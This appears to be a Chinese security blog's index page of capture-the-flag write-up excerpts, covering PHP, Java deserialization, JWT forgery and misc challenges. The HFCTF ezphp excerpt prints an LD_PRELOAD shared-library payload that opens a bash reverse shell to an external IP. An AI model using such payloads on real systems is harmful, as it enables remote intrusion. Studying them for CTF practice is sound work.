2025 N1CTF Junior Web 方向全解

很高兴可以成为第一个AK Web的师傅hh 祝N1CTF Junior越办越好~ Gavatar 直接登陆上去 发现在头像上传处可以接受URL作为参数 考虑是不是存在什么SSRF/任意文件读取 直接可以尝试file协议 可以实现读取任意文件 但是这个题给了docker 是用/readflag去获取flag 考虑是否需要通过任意文件读取转换为RCE 当时特别注意了一下这里的的PHP版本 8.3.4 不就是vulhub上给的一模一样的版本 利用 CVE-2024-2961 的实现 ...

二月 11, 2025 · 5 分钟 · 2014 字 · J1rrY

从2025系统安全防护赛JDBCParty学习高版本JDK和高版本Tomcat打JNDI到RCE

之前有师傅在群里发了如何反序列化触发到JNDI 这里重新学习整理一下整个流程 考点:高版本JDK反序列化+高版本JNDI打法 JDK17+反射限制绕过 参考:https://pankas.top/2023/12/05/jdk17-%E5%8F%8D%E5%B0%84%E9%99%90%E5%88%B6%E7%BB%95%E8%BF%87/ ...

二月 3, 2025 · 5 分钟 · 2331 字 · J1rrY

尝试CodeQL分析2025 SUCTF SU_Solon

本篇文章尝试通过CodeQL对触发JDBC的可能解进行探究,也是初学CodeQL进行练手的一道题目 SU_Solon 这是一道非常明确的Hession反序列化的题目 ...

一月 21, 2025 · 7 分钟 · 3181 字 · J1rrY

DownUnderCTF 2021 jwt

考点:对于RS256弱公钥生成的jwt可以伪造(非对称加密) 网鼎杯 Web1 改编自这道国际赛的题 有空来复现一下 解题 WP :https://ctftime.org/writeup/30541 主页访问直接返回源码 from flask import Flask, request import jwt, time, os app = Flask(__name__) app.config['SECRET_KEY'] = os.urandom(24) private_key = open('priv').read() public_key = open('pub').read() flag = open('flag.txt').read() @app.route("/get_token") def get_token(): return jwt.encode({'admin': False, 'now': time.time()}, private_key, algorithm='RS256') @app.route("/get_flag", methods=['POST']) def get_flag(): try: payload = jwt.decode(request.form['jwt'], public_key, algorithms=['RS256']) if payload['admin']: return flag except: return ":(" @app.route("/") def sauce(): return " %s " % open(__file__).read() if __name__ == "__main__": app.run(host="0.0.0.0", port=5000) os.urandom(24) 生成24字节的密钥 ...

十二月 20, 2024 · 1 分钟 · 375 字 · J1rrY

2024 网鼎杯 CTF 青龙组 Web 方向 全解 WP

Web1 考点: RS256弱公钥jwt伪造+ flask session身份伪造 +emoji shell?+xxe绕过黑名单实现任意文件读取 本身可以以任意用户登陆 随意登陆后 Cookie中设置了 token(jwt) 和 session(flask session) token是 jwt 通过 RS256进行的加密签名 session 就是 Python flask session 尝试删除 session 可以发现并不影响 /profile返回当前用户名username 如果希望篡改 username 的值 需要 ==公私钥==(非对称加密) 公钥实现解密 私钥加密 ...

十二月 19, 2024 · 8 分钟 · 3856 字 · J1rrY

2024 四川省赛 Misc 部分复现

这是第一天的线下CTF赛 Misc有点弱 多多整理提升一下 unzip-png 题目给了一个 1.txt 789c一眼zlib开头 将16进制数据转换为文件 尝试写Python脚本实现解压zlib数据 ...

十二月 11, 2024 · 1 分钟 · 376 字 · J1rrY

羊城杯 2020 a_piece_of_java

考点:JDBC反序列化打CC链+动态代理类触发readobject 一眼看过去 好像只有一个mysql-connector-java 可以利用jdbc 可能的攻击路径就有1) Mysql服务器任意文件读取 2) JDBC反序列化打依赖链 出现了一个==不常见的依赖库== serialkiller 做了反序列化的过滤器 可以尝试查看其源码 https://github.com/ikkisoft/SerialKiller/blob/master/pom.xml 会发现其隐形依赖了 commons-collections3.2也就是常见的CC 3.x 一种可能的路径就是 JDBC反序列化打CC依赖链 不排除Mysql的任意文件读取 ...

九月 3, 2024 · 2 分钟 · 904 字 · J1rrY

虎符CTF 2022 ezphp

https://blog.csdn.net/qq_45619909/article/details/128946735 考点:nginx临时文件上传+LD_PROLOAD劫持 <?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?> [[HXPCTF 2021 includer’s revenge]] nginx临时文件包含技巧来源 #include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void){ unsetenv("LD_PRELOAD"); system("id"); system("bash -c \"sh -i >& /dev/tcp/148.135.82.190/8888 0>&1\""); } __attribute__((constructor))指在main函数之前,执行一个函数,便于我们做一些准备工作,即我们定义了一个叫做preload的无参数无回显的预编译函数 使用以下命令编译生成so文件 ...

八月 11, 2024 · 1 分钟 · 253 字 · J1rrY